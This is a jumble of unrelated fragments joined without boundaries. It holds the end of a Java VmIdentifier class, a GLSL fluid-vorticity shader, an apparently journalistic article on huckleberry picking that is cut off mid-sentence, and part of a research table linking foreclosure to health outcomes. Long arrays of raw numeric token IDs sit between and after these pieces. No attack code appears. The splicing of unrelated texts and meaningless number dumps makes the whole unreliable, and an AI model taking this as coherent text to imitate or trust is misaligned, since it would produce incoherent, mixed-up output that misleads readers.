result = Integer.parseInt(uri.getAuthority()); } else { result = Integer.parseInt(uri.getUserInfo()); } } catch (NumberFormatException e) { } return result; } /** * Return the mode indicated in this VmIdentifier. * * @return String - the mode string. If no mode is specified, then "r" * is returned. otherwise, the specified mode is returned. */ public String getMode() { String query = getQuery(); if (query!= null) { String[] queryArgs = query.split("\\+"); for (int i = 0; i < queryArgs.length; i++) { if (queryArgs[i].startsWith("mode=")) { int index = queryArgs[i].indexOf('='); return queryArgs[i].substring(index+1); } } } return "r"; } /** * Return the URI associated with the VmIdentifier. * * @return URI - the URI. * @see URI */ public URI getURI() { return uri; } /** * Return the hash code for this VmIdentifier. The hash code is * identical to the hash code for the contained URI. * * @return int - the hashcode. * @see URI#hashCode() */ public int hashCode() { return uri.hashCode(); } /** * Test for quality with other objects. * * @param object the object to be test for equality. * @return boolean - returns true if the given object is of type * VmIdentifier and its URI field is equal to * this object's URI field. Otherwise, return false. * * @see URI#equals(Object) */ public boolean equals(Object object) { if (object == this) { return true; } if (!(object instanceof VmIdentifier)) { return false; } return uri.equals(((VmIdentifier)object).uri); } /** * Convert to a string representation. Conversion is identical to * calling getURI().toString(). This may change in a future release. * * @return String - a String representation of the VmIdentifier. * * @see URI#toString() */ public String toString() { return uri.toString(); } } uniform sampler2D velocity; uniform sampler2D vorticity; uniform vec2 gridSize; uniform float gridScale; uniform float timestep; uniform float epsilon; uniform vec2 curl; void main() { vec2 uv = gl_FragCoord.xy / gridSize.xy; vec2 xOffset = vec2(1.0 / gridSize.x, 0.0); vec2 yOffset = vec2(0.0, 1.0 / gridSize.y); float vl = texture2D(vorticity, uv - xOffset).x; float vr = texture2D(vorticity, uv + xOffset).x; float vb = texture2D(vorticity, uv - yOffset).x; float vt = texture2D(vorticity, uv + yOffset).x; float vc = texture2D(vorticity, uv).x; float scale = 0.5 / gridScale; vec2 force = scale * vec2(abs(vt) - abs(vb), abs(vr) - abs(vl)); float lengthSquared = max(epsilon, dot(force, force)); force *= inversesqrt(lengthSquared) * curl * vc; force.y *= -1.0; vec2 velc = texture2D(velocity, uv).xy; gl_FragColor = vec4(velc + (timestep * force), 0.0, 1.0); } For The Love Of Huckleberries: August Brings Out Hunters Of Elusive Fruit Starting in late summer, national forests in Northwestern states like Oregon, Washington, Montana, and Idaho fill with eager berry hunters hoping to find a cache of dark maroon huckleberries. It's common for demand to exceed supply, leading to conflicts between Native Americans who have certain reserved picking areas, commercial pickers, and families hoping to continue their summer traditions. Related to both blueberries and cranberries, the fruit is so juicy that it has to be dried, processed, or eaten soon after picking – which makes huckleberry season feel especially fleeting, when it often only lasts from August through September. They were once a major food for local Native Americans like the Yakama, who helped huckleberry crops flourish through an annual burning at the picking grounds, and even sometimes moved to stay close to prime picking locations. Throughout history, finding and picking huckleberries has been hard work, yet for people who love them, the effort is worth it. Of all the products that can be foraged in Washington's Gifford Pinchot National Forest, huckleberries get the most attention, says forester Chris Starling. To avoid scuffles or people going home with empty berry baskets, forest management in the most popular huckleberrying grounds sometimes has to consider cutting down trees to make room for more huckleberry plants. Like many who live in huckleberry country, Starling has been picking the berries his entire life, and it turns a simple walk in the woods into so much more. "You're out there for a good reason other than just to get to a certain point," Starling says. "It's a relaxing mission — and a tasty one." The berries themselves taste like a tart blueberry that will stain pickers fingers and clothes with their red flesh. Though many families have been huckleberry hunting for years, Starling and other forest employees regularly educate newcomers on where the best huckleberry patches might be, how to pick them, and — importantly — which areas to avoid. toggle caption Department of Agriculture/Forest Service Since 1932, an area of the Sawtooth Berry Fields has been reserved for use by Native Americans, thanks to an agreement between Yakama Indian Chief William Yallup and the Gifford Pinchot Forest supervisor. Making sure huckleberry pickers follow best practices is important for the tribes — and for next year's huckleberry foragers, too. Most forests require a permit and limit the amount of berries a person can take home. Some rules also specify that berries be picked by hand, since equipment like berry rakes can damage the plants. To continue having enough berries to go around, the forest management conducts periodical environmental assessments to find out how many huckleberries can be picked sustainably, says Joe Gates, the vegetation program manager for Gifford. But thanks to the popularity of huckleberries, Gates explains, "conflict is prevalent." A love of huckleberries — combined with their scarcity — has created a decades-long effort to produce the berry commercially. In the wild, the berries are hearty and were among the plants to survive the Mt. St. Helens eruption in 1980. A University of Idaho researcher named Dan Barney spent over two decades attempting to create a domesticated huckleberry that would reliably produce delicious fruit at home. He retired without accomplishing his mission. People started trying to domesticate the blueberry in 1906, Barney told The Oregonian before his retirement. "So we're behind on the development of a domesticated huckleberry crop. But call me back in 100 years and we'll be in really good shape." Joe Culbreth relied on Barney's expertise to help him start a huckleberry crop at his Berry & Nut Farm. Culbreth loves huckleberries and has been picking them for decades. but reached an age where it was hard to get into the forest reliably to forage for himself. "I figured in my old days I could just set [up] my wheelchair and roll down the row and pick huckleberries," he says. He planted hundreds of huckleberries and proceeded to wait — for a very long time. "On the seventh year I got my first berries, and not many people are going to plant something and see no return for seven years," he says. The second year that his plants produced berries, he managed to get enough from his few hundred plants to make a "nice pie." Though they're definitely huckleberries, he hasn't achieved the "true huckleberry taste" — which he says he can't describe but will know when he tastes it. All this effort doesn't exactly make the huckleberry ripe for commercial production. Yet it would be a jackpot for any horticulturist that managed it — in the wild, there simply aren't enough berries to go around. "Domesticating the wild huckleberry is impossible," says Amit Dhingra, associate professor in the horticult

[ 22, 283, 25, 15, 22, 10, 187, 50276, 18191, 6595, 285, 308, 1441, 249, 1254, 2041, 15, 39154, 20700, 15, 709, 44675, 1184, 50254, 50254, 50254, 50254, 50270, 50276, 5826, 283, 2693, 50254, 50266, 8057, 13315, 1783, 273, 42886, 941, 432, 495, 13, 37219, 23367, 11646, 275, 13169, 13, 5002, 13, 7758, 13, 285, 1457, 8911, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 28606, 273, 2273, 498, 17867, 313, 73, 19315, 5085, 326, 2959, 247, 4366, 273, 23052, 7289, 285, 16, 263, 4366, 273, 36023, 7289, 10, 285, 4644, 273, 1524, 14, 383, 366, 9633, 3607, 275, 253, 2045, 7150, 50254, 50254, 50254, 50270, 51, 684, 273, 8945, 7811, 313, 1703, 10, 12941, 285, 40083, 4675, 5904, 313, 249, 253, 19737, 347, 973, 347, 1110, 2330, 342, 12212, 3290, 18172, 10, 50254, 50254, 50254, 50254, 50254, 688, 9077, 3210, 342, 9635, 13, 7150, 13, 285, 807, 4229, 2538, 13, 2233, 3081, 2273, 498, 17867, 403, 2330, 342, 247, 337, 15, 19, 2558, 2572, 275, 8360, 12941, 285, 4675, 5904, 13, 247, 577, 15, 26, 283, 23, 15, 24, 2558, 2572, 275, 3657, 494, 4675, 5904, 2190, 253, 1327, 14, 293, 491, 314, 13, 247, 1249, 15, 17, 283, 1093, 15, 25, 2558, 2572, 275, 8360, 12941, 390, 4675, 5904, 2905, 281, 10397, 13, 247, 6480, 15, 22, 283, 3156, 15, 24, 2558, 2572, 275, 8360, 12941, 390, 4675, 5904, 323, 13184, 9437, 187, 50276, 38, 44964, 1254, 2041, 15, 39154, 20700, 15, 709, 45197, 1184, 50254, 50254, 50254, 50254, 979, 50261, 7330, 544, 18022, 85, 2874, 4174, 2874, 910, 709, 14, 881, 568, 2420, 14, 4174, 986, 50275, 34255, 6716, 12888, 342, 2800, 20292, 285, 1740, 3625, 30817, 275, 14070, 3692, 5870, 574, 7407, 36023, 1561, 253, 2045, 2620, 1107, 50254, 50254, 50254, 50254, 50254, 50275, 47, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50266, 427, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 411, 5163, 13, 1881, 14, 1559, 482, 13, 285, 31917, 497, 16876, 7744, 39544, 407, 1263, 5014, 13, 1679, 594, 2190, 253, 20292, 2429, 281, 616, 30817, 187, 50276, 24306, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 26045, 5413, 9271, 1342, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 19634, 1184, 50254, 50254, 50274, 8603, 50254, 245, 50265, 209, 26789, 2770, 14, 4399, 285, 767, 2060, 12888, 342, 11003, 40821, 275, 1457, 2816, 3228, 13, 1457, 2816, 28, 659, 15, 7406, 13, 16301, 28, 9516, 13, 10128, 28, 33609, 3097, 13, 12096, 28, 285, 411, 15861, 13, 6112, 665, 574, 7799, 36023, 7268, 3238, 390, 665, 574, 9829, 10762, 327, 271, 16383, 10119, 50255, 47, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50266, 427, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 38224, 13, 10397, 13, 285, 9454, 497, 1846, 16876, 5469, 275, 512, 2770, 14, 4399, 12888, 187, 50276, 39, 40885, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 42952, 1184, 50254, 50254, 50254, 50254, 50272, 9204, 283, 740, 50254, 50266, 10330, 273, 512, 898, 1717, 612, 2474, 14, 390, 36023, 14, 4919, 402, 26685, 14290, 275, 1668, 3054, 15299, 275, 253, 3313, 27398, 290, 14645, 40283, 4155, 50254, 50254, 50254, 50254, 50254, 50263, 50275, 28622, 273, 8039, 390, 40911, 2957, 273, 8039, 13, 3636, 327, 253, 3720, 273, 2234, 3000, 824, 347, 346, 1173, 7025, 937, 346, 84, 379, 1648, 7289, 390, 7501, 273, 8570, 937, 346, 922, 14019, 937, 390, 346, 38483, 2419, 390, 1728, 3, 50254, 50254, 50254, 50272, 9244, 9429, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50275, 510, 1180, 273, 402, 26685, 2905, 281, 612, 2474, 390, 36023, 2559, 432, 11003, 275, 5826, 281, 23670, 275, 4267, 187, 50276, 25353, 11155, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 38823, 1184, 50254, 50254, 50254, 50254, 50274, 4695, 544, 18022, 85, 2874, 4174, 2874, 910, 709, 14, 881, 568, 2420, 14, 4174, 986, 50275, 22708, 14, 20382, 6630, 273, 247, 31539, 3632, 3410, 273, 495, 13, 933, 6389, 18294, 275, 14890, 13, 342, 247, 5329, 6, 2380, 2281, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 18635, 14019, 327, 247, 15842, 390, 10119, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 38224, 13716, 13, 327, 247, 4311, 432, 470, 283, 2313, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50260, 50275, 18635, 14019, 327, 247, 15842, 390, 10119, 369, 17045, 347, 253, 10720, 954, 33674, 1495, 2362, 313, 10722, 4868, 13, 8187, 15, 24, 582, 3212, 2471, 273, 247, 22333, 16, 7003, 285, 44276, 4975, 281, 1881, 16, 11807, 187, 50276, 33228, 23051, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 39703, 1184, 50254, 50254, 50254, 50254, 50272, 6914, 283, 740, 50254, 50266, 8057, 13315, 1783, 273, 7970, 941, 432, 9963, 21813, 275, 11637, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 25977, 273, 2273, 498, 17867, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50260, 50276, 6878, 273, 1429, 33673, 9048, 5012, 6949, 407, 9635, 1429, 12107, 3238, 313, 36, 3299, 582, 285, 1385, 273, 4326, 4215, 2219, 273, 1429, 33673, 9048, 50254, 50254, 50254, 50254, 50254, 50270, 34, 337, 7155, 1127, 2572, 275, 253, 36023, 2281, 369, 2330, 342, 247, 495, 15, 26, 2558, 2572, 275, 330, 3299, 14006, 313, 49, 426, 470, 15, 2125, 10, 285, 247, 577, 15, 22, 2558, 2572, 275, 4326, 4215, 2219, 313, 49, 426, 470, 15, 520, 10, 187, 50276, 40, 3093, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 44238, 1184, 50254, 50254, 50254, 50254, 50270, 7199, 283, 883, 50254, 50266, 10547, 14, 20382, 6630, 273, 608, 13, 35432, 7732, 2326, 275, 3625, 1557, 12941, 4768, 11268, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 29277, 2702, 90, 1234, 16948, 15842, 15407, 13, 8039, 36023, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 11432, 27909, 8984, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 14566, 247, 6120, 273, 2201, 27909, 8984, 574, 10126, 1534, 12485, 342, 8039, 36023, 313, 34, 1372, 13, 374, 15, 2222, 13, 367, 4713, 17, 15, 2874, 10, 285, 8039, 29216, 420, 12748, 313, 34, 1372, 13, 374, 15, 805, 13, 367, 4713, 17, 15, 2874, 10, 187, 50276, 41, 276, 282, 1254, 2041, 15, 39154, 20700, 15, 709, 46838, 1184, 50254, 50254, 50254, 50254, 50262, 50274, 50276, 8603, 283, 883, 50254, 50266, 8057, 13315, 1783, 273, 7970, 2060, 14, 5251, 941, 7939, 281, 374, 13, 19490, 21813, 275, 253, 530, 15, 52, 15, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50275, 1845, 21716, 273, 37832, 2961, 8039, 5085, 275, 667, 3924, 273, 253, 36023, 1232, 285, 8394, 326, 403, 1524, 14, 383, 366, 9633, 50254, 50254, 50254, 50254, 50254, 50263, 209, 19757, 14, 4835, 2557, 273, 6255, 1786, 27, 346, 424, 53, 424, 73, 10274, 670, 634, 6255, 1786, 13, 534, 3797, 4073, 13, 9454, 285, 3237, 342, 14021, 13, 323, 849, 1142, 1897, 1309, 253, 2469, 1884, 1897, 369, 634, 6255, 1786, 417, 1175, 865, 3, 50254, 50254, 50270, 50276, 11837, 470, 15, 520, 2572, 275, 253, 8394, 273, 1524, 14, 383, 366, 9633, 3607, 369, 2330, 342, 247, 470, 15, 39425, 2572, 275, 253, 1180, 273, 4105, 6255, 1786, 1897, 13, 342, 10046, 12485, 2540, 275, 21813, 342, 253, 4585, 22260, 273, 8118, 7108, 187, 50276, 41, 276, 282, 285, 10315, 1254, 2041, 15, 39154, 20700, 15, 709, 12058, 1184, 50254, 50254, 50254, 50254, 50266, 9204, 283, 740, 50254, 50266, 8057, 13315, 1783, 273, 7970, 941, 432, 512, 2456, 3054, 285, 5041, 13, 399, 15, 36, 15, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50262, 1294, 21716, 273, 37832, 2961, 8039, 5085, 275, 667, 3924, 273, 253, 36023, 1232, 285, 8394, 326, 403, 1524, 14, 383, 366, 9633, 50254, 50254, 50254, 50254, 50254, 50263, 209, 11362, 14, 23811, 13184, 2281, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 5815, 470, 15, 520, 2572, 275, 253, 8394, 273, 2273, 13784, 285, 1524, 14, 383, 366, 9633, 3607, 369, 2330, 342, 247, 470, 15, 2125, 283, 17, 15, 1036, 2572, 275, 253, 1561, 14, 3409, 13184, 2281, 13, 342, 253, 954, 17088, 12485, 2190, 253, 4766, 14, 2961, 285, 2822, 14, 293, 491, 314, 187, 50276, 9499, 1751, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 15960, 1184, 50254, 50254, 50254, 50254, 50272, 4050, 283, 1012, 50254, 50266, 24486, 6716, 12888, 342, 3349, 7747, 3811, 275, 247, 10585, 10598, 20558, 25489, 530, 15, 52, 15, 2846, 13, 665, 497, 18492, 15842, 7372, 50254, 50254, 50254, 50254, 50254, 50254, 50262, 427, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50266, 427, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 28897, 1786, 285, 440, 386, 4671, 456, 3739, 14874, 497, 247, 1846, 10014, 39544, 275, 1142, 12888, 28, 841, 45482, 15842, 7372, 275, 253, 3634, 273, 28304, 3367, 285, 1345, 5252, 37507, 326, 812, 417, 320, 15494, 2220, 281, 6391, 1411, 253, 10021, 2538, 273, 9749, 187, 50276, 11773, 45, 44750, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 44527, 1184, 50254, 50254, 50254, 50254, 50276, 8012, 283, 740, 50254, 50266, 46820, 430, 273, 337, 13, 48793, 12687, 1523, 8118, 14, 7878, 5014, 275, 253, 530, 15, 52, 15, 17372, 3532, 39895, 4775, 12602, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50266, 18139, 1482, 273, 1728, 13929, 12426, 407, 247, 29870, 1955, 281, 1327, 14, 26360, 1561, 253, 2045, 767, 1107, 50254, 50254, 50254, 50254, 50254, 50254, 50260, 23875, 431, 3056, 273, 2201, 27909, 8984, 313, 6663, 50, 14, 26, 10, 285, 5917, 273, 14923, 10397, 8984, 313, 24, 14, 4835, 14923, 10397, 8984, 4311, 10, 50254, 50254, 50254, 50254, 50254, 50258, 18139, 1482, 273, 36023, 275, 253, 2045, 767, 1107, 574, 10126, 1534, 12485, 342, 5917, 273, 2201, 27909, 8984, 313, 1763, 1435, 2281, 4313, 905, 3027, 51, 5290, 374, 15, 21, 28, 5325, 6, 7309, 13, 337, 15, 3046, 283, 20, 15, 1540, 10, 285, 14923, 10397, 8984, 313, 3027, 51, 13, 337, 15, 26, 28, 5325, 6, 7309, 13, 337, 15, 1812, 283, 19, 15, 3763, 10, 187, 50276, 46, 12586, 293, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 41280, 1184, 50254, 50254, 50254, 50254, 50272, 9204, 283, 2904, 50254, 50266, 8057, 13315, 1783, 273, 941, 5728, 432, 1363, 342, 581, 273, 2030, 10401, 14, 4919, 2390, 19439, 432, 1327, 14, 49299, 13240, 275, 15319, 3928, 13, 23050, 50254, 50254, 50254, 50254, 50254, 50270, 8256, 4860, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50276, 25977, 273, 48246, 342, 247, 8624, 6120, 273, 27842, 390, 27909, 8984, 13, 4469, 347, 247, 7155, 273, 512, 48246, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 510, 2281, 273, 27842, 390, 27909, 8984, 48246, 2559, 275, 5215, 13, 10891, 2821, 342, 253, 2572, 275, 36023, 48174, 2540, 23931, 15, 187, 50276, 46, 335, 571, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 37684, 5413, 1503, 358, 410, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 36539, 5413, 21741, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 39289, 1184, 50275, 7857, 283, 740, 50254, 50266, 10547, 14, 20382, 6630, 273, 608, 13, 31110, 6782, 5014, 275, 253, 530, 15, 52, 15, 3313, 38376, 17136, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 28622, 273, 8039, 13, 2057, 9633, 390, 33437, 13, 875, 4695, 285, 253, 3522, 273, 253, 4572, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50274, 20579, 11634, 4294, 7665, 4644, 13, 37863, 1255, 327, 247, 13056, 390, 625, 10879, 3720, 13, 2793, 273, 374, 12, 4016, 9099, 2905, 281, 10678, 13, 285, 7665, 10096, 50254, 50254, 50254, 50254, 50270, 50276, 28706, 2957, 574, 247, 10126, 1534, 2762, 5864, 342, 4016, 10678, 9099, 313, 34, 1372, 13, 898, 15, 3583, 28, 5325, 6, 7309, 13, 495, 15, 2090, 283, 1348, 15, 23, 10, 285, 7665, 10096, 313, 34, 1372, 13, 608, 15, 4590, 28, 5325, 6, 7309, 13, 374, 15, 2922, 283, 1166, 15, 17, 10, 285, 247, 3635, 5864, 342, 7665, 4644, 285, 13056, 37863, 1255, 187, 50276, 47, 3592, 10747, 285, 7634, 8111, 1254, 2041, 15, 39154, 20700, 15, 709, 41345, 1092, 1008, 2041, 15, 39154, 20700, 15, 709, 43771, 1184, 50254, 50254, 50254, 50272, 11496, 50254, 245 ]

5--8.5) Currie and Tekin \[[@pone.0123182.ref086]\] 2005--09 Longitudinal analysis of quarterly data from 3,525 zip codes in Arizona, California, Florida, and New Jersey Rate of foreclosures (housing units that received a notice of trustee sale and/or notice of foreclosure sale) and volume of real-estate owned properties in the previous quarter Rates of emergency department (ED) visits and inpatient hospitalizations (in the aggregate as well as those associated with prevention quality indicators) In regression models with county, quarter, and year fixed effects, 100 additional foreclosures are associated with a 1.2 percent increase in ED visits and hospitalizations, a 4.9--6.7 percent increase in preventable hospitalizations among the non-elderly, a 12.0--18.8 percent increase in ED visits or hospitalizations related to anxiety, a 38.5--41.7 percent increase in ED visits or hospitalizations for suicide attempts Ertl \[[@pone.0123182.ref087]\] 2011 [\*](#t001fn001){ref-type="table-fn"} Qualitative interviews with six adolescents and four primary caregivers in Massachusetts whose families had experienced foreclosure within the previous five years N/A N/A Worry, self-blame, and sadness were themes commonly voiced by study participants, less so among the adolescents compared to their caregivers Fields and colleagues \[[@pone.0123182.ref031]\], Libman and colleagues \[[@pone.0123182.ref032]\] 2006 Nine focus-group and two individual interviews with 88 homeowners in New York City, New York; St. Louis, Missouri; Hamilton, Ohio; Duluth, Georgia; and Waco, Texas who had sought foreclosure intervention services or who had missed payments on an outstanding loan N/A N/A Stress, anxiety, and depression were common themes discussed in all focus-group interviews Fowler and colleagues \[[@pone.0123182.ref088]\] 2005--10 Analysis of all 929 eviction- or foreclosure-related suicides documented in 16 states participating in the National Violent Death Reporting System Loss of housing or impending loss of housing, identified on the basis of key words such as "evicted," "sheriff sale or warrant of removal," "foreclosure," or "lost house or home" Suicide The number of suicides related to eviction or foreclosure increased from 88 in 2005 to 176 in 2010 Freeman and colleagues \[[@pone.0123182.ref089]\] 2008 [\*](#t001fn001){ref-type="table-fn"} Cross-sectional survey of a stratified random sample of 3,000 farm households in Iowa, with a 45% response rate Foreclosure on a mortgage or loan Stress rating, on a scale from 0--100 Foreclosure on a mortgage or loan was ranked as the fifth most stressful life event (mean score, 72.7), behind death of a spouse/child and disabling injury to self/family Frioux and colleagues \[[@pone.0123182.ref090]\] 2000--10 Longitudinal analysis of annual data from 67 counties in Pennsylvania Rate of foreclosures Count of child maltreatment reports investigated by county child protective services (CPS), and count of substantiated cases of child maltreatment A 1 percentage point increase in the foreclosure rate was associated with a 3.9 percent increase in CPS investigations (P = 0.04) and a 4.5 percent increase in substantiated cases (P = 0.01) Gili and colleagues \[[@pone.0123182.ref091]\] 2010--11 Cross-sectional survey of 5,876 persons seen in primary care visits throughout Spain Difficulty repaying mortgage loans, housing foreclosure Major depressive disorder Having a diagnosis of major depressive disorder had statistically significant associations with housing foreclosure (AOR, 2.95, P\<0.001) and housing repayment difficulties (AOR, 2.12, P\<0.001) Houle \[[@pone.0123182.ref092]\] 2006--11 Longitudinal analysis of annual individual-level data linked to 2,245 counties in the U.S. Proportion of mortgaged housing units in any stage of the foreclosure process and proportion that are real-estate owned Single-item measure of mental health: "**T**hinking about your mental health, which includes stress, depression and problems with emotions, for how many days during the past 30 days was your mental health not good?"" Each 0.01 increase in the proportion of real-estate owned properties was associated with a 0.066 increase in the number of poor mental health days, with stronger associations observed in counties with the highest proportions of African Americans Houle and Light \[[@pone.0123182.ref018]\] 2005--10 Longitudinal analysis of annual data from all 50 states and Washington, D.C. Proportion of mortgaged housing units in any stage of the foreclosure process and proportion that are real-estate owned Age-adjusted suicide rate Each 0.01 increase in the proportion of foreclosed and real-estate owned properties was associated with a 0.04--0.16 increase in the within-state suicide rate, with the most pronounced associations among the middle-aged and near-elderly Keene and colleagues \[[@pone.0123182.ref030]\] 2012--13 Qualitative interviews with 28 adults living in a pseudonymous northeastern U.S. city, who were experiencing mortgage strain N/A N/A Poor health and unanticipated medical bills were a common theme voiced in many interviews; these exacerbated mortgage strain in the context of fragile personal and public safety nets that could not be relied upon to buffer against the adverse effects of illness McLaughlin and colleagues \[[@pone.0123182.ref093]\] 2008--10 Cohort of 1,547 predominately African-American participants in the U.S. Detroit Neighborhood Health Study Experience of home repossession by a creditor due to non-payment within the previous two years Symptoms of major depressive disorder (PHQ-9) and symptoms of generalized anxiety disorder (7-item generalized anxiety disorder scale) Experience of foreclosure in the previous two years had statistically significant associations with symptoms of major depressive disorder (incidence rate ratio \[IRR\], 2.4; 95% CI, 1.59--3.64) and generalized anxiety disorder (IRR, 1.9; 95% CI, 1.36--2.62) Menzel and colleagues \[[@pone.0123182.ref094]\] 2005--08 Longitudinal analysis of data collected from patients with one of 25 diagnostic-related groups discharged from non-federal hospitals in Clark County, Nevada None indicated Rate of discharges with a principal diagnosis of bipolar or depressive disorder, expressed as a percentage of all discharges The rate of bipolar or depressive disorder discharges increased in 2007, coinciding with the increase in foreclosure filings observed nationwide. Mulia and colleagues \[[@pone.0123182.ref095]\], Zemore and colleagues \[[@pone.0123182.ref096]\], Murphy and colleagues \[[@pone.0123182.ref097]\] 2009--10 Cross-sectional survey of 5,382 adult participants in the U.S. National Alcohol Survey Loss of housing, either owned or rented, between 2008 and the date of the interview Graduated frequency alcohol volume, drunkenness on a monthly or more frequent basis, experience of 2+ negative consequences related to drinking, and alcohol dependence Housing loss had a statistically significant positive association with negative drinking consequences (AOR, 9.52; 95% CI, 3.69--24.6) and alcohol dependence (AOR, 5.93; 95% CI, 2.07--17.0) and a null association with alcohol volume and monthly drunkenness Nettleton and Burrows \[[@pone.0123182.ref098], [@pone.0123182.ref099]\] 1998

[ 13, 369, 326, 344, 369, 281, 1705, 281, 789, 323, 3257, 285, 4763, 253, 1072, 16268, 253, 416, 267, 5493, 2567, 369, 10054, 779, 285, 247, 6832, 1600, 275, 3257, 2567, 15, 6043, 627, 20026, 5966, 2220, 253, 3045, 273, 521, 14904, 407, 4933, 598, 521, 1899, 342, 253, 416, 267, 5493, 2567, 285, 2444, 323, 3257, 15, 6043, 434, 3045, 273, 3238, 19419, 247, 1175, 8180, 285, 369, 253, 7830, 5821, 2220, 323, 253, 5739, 2556, 281, 3482, 15, 657, 462, 15766, 362, 15, 367, 3204, 13, 22750, 6956, 15, 608, 3680, 13, 13062, 322, 15, 56, 15, 2233, 18, 13, 2233, 22, 28, 473, 1344, 5945, 362, 15, 15551, 961, 13, 29117, 6956, 15, 12472, 22, 13, 30717, 322, 15, 411, 15, 45370, 13, 48726, 60, 20, 1570, 6166, 3482, 434, 1859, 273, 253, 1941, 352, 369, 247, 4984, 1953, 1880, 627, 574, 644, 3045, 407, 3482, 285, 247, 8981, 407, 3257, 273, 824, 3045, 347, 7429, 3482, 281, 253, 5739, 15, 31529, 91, 362, 15, 353, 4801, 13, 27587, 6956, 15, 2946, 15, 27744, 13, 35145, 322, 15, 56, 15, 8978, 13, 9901, 15, 380, 6645, 1057, 417, 31423, 247, 7355, 15, 187, 25187, 12148, 3482, 23460, 253, 3430, 3128, 13, 1666, 272, 253, 16422, 327, 253, 897, 273, 253, 3367, 43980, 407, 3196, 15, 775, 10273, 656, 1665, 28, 891, 15, 299, 904, 326, 346, 248, 3, 651, 2075, 253, 1072, 16268, 347, 253, 416, 267, 5493, 2567, 285, 346, 248, 3, 651, 9212, 281, 3482, 247, 6832, 2408, 273, 253, 775, 10273, 656, 1665, 21171, 6487, 5739, 15, 8167, 2567, 574, 271, 14047, 5347, 273, 370, 18, 13, 933, 13, 933, 13, 27007, 407, 884, 13, 933, 10764, 273, 5739, 14047, 285, 16383, 13, 273, 534, 13, 347, 4767, 275, 3257, 434, 4864, 13, 818, 13, 9519, 497, 9633, 407, 3196, 15, 775, 10273, 656, 1665, 285, 374, 13, 2313, 497, 9633, 407, 521, 4475, 13, 346, 4064, 534, 23768, 273, 5739, 812, 452, 644, 1160, 449, 330, 15, 329, 15, 7099, 570, 413, 760, 2918, 521, 14204, 323, 7783, 10764, 273, 3257, 434, 5739, 1048, 2217, 281, 346, 423, 10245, 352, 281, 253, 2567, 449, 380, 1072, 4112, 13164, 342, 1675, 281, 253, 7783, 10764, 6306, 275, 253, 1416, 273, 330, 15, 444, 15, 367, 453, 36271, 15, 5767, 378, 41748, 348, 6968, 434, 6206, 6492, 703, 369, 417, 253, 7302, 273, 253, 2456, 10764, 6306, 275, 617, 1416, 15, 831, 8553, 323, 898, 13, 14744, 273, 253, 884, 13, 933, 10764, 273, 5739, 15, 380, 9526, 273, 253, 3257, 2567, 7859, 326, 3196, 15, 775, 10273, 656, 1665, 369, 253, 7302, 273, 512, 253, 16383, 5739, 327, 4565, 1249, 13, 26916, 13, 672, 253, 1390, 273, 253, 884, 13, 933, 10764, 497, 6808, 15, 380, 1924, 310, 281, 253, 1055, 326, 3196, 15, 775, 10273, 656, 1665, 15726, 253, 5739, 347, 344, 6799, 285, 369, 253, 775, 10273, 656, 1665, 21171, 6487, 15, 754, 13, 347, 775, 10273, 656, 1665, 21171, 6487, 13, 285, 417, 11697, 13, 7091, 3482, 15, 380, 775, 10273, 656, 1665, 21171, 6487, 5087, 3482, 434, 16268, 13, 3482, 434, 40164, 13, 285, 3482, 434, 370, 22330, 346, 69, 1741, 423, 3, 2451, 15, 380, 4676, 7192, 285, 407, 616, 6993, 4127, 253, 3310, 347, 247, 3310, 875, 3482, 285, 253, 775, 10273, 656, 1665, 21171, 6487, 15, 346, 510, 9058, 273, 6265, 310, 281, 39954, 347, 4865, 327, 253, 13739, 6993, 390, 12712, 327, 697, 11136, 407, 247, 1436, 390, 7732, 37695, 512, 390, 18236, 512, 253, 5739, 13, 1014, 2167, 627, 310, 247, 3480, 273, 13, 390, 7071, 275, 13, 690, 10459, 3213, 390, 2250, 449, 655, 330, 15, 43, 15, 52, 904, 9697, 569, 13, 3015, 2233, 21, 13, 7211, 6931, 13, 3387, 13, 3239, 45413, 15, 2594, 671, 4031, 904, 3015, 2233, 18, 13, 7211, 11487, 14, 2270, 13, 3239, 39515, 13, 3015, 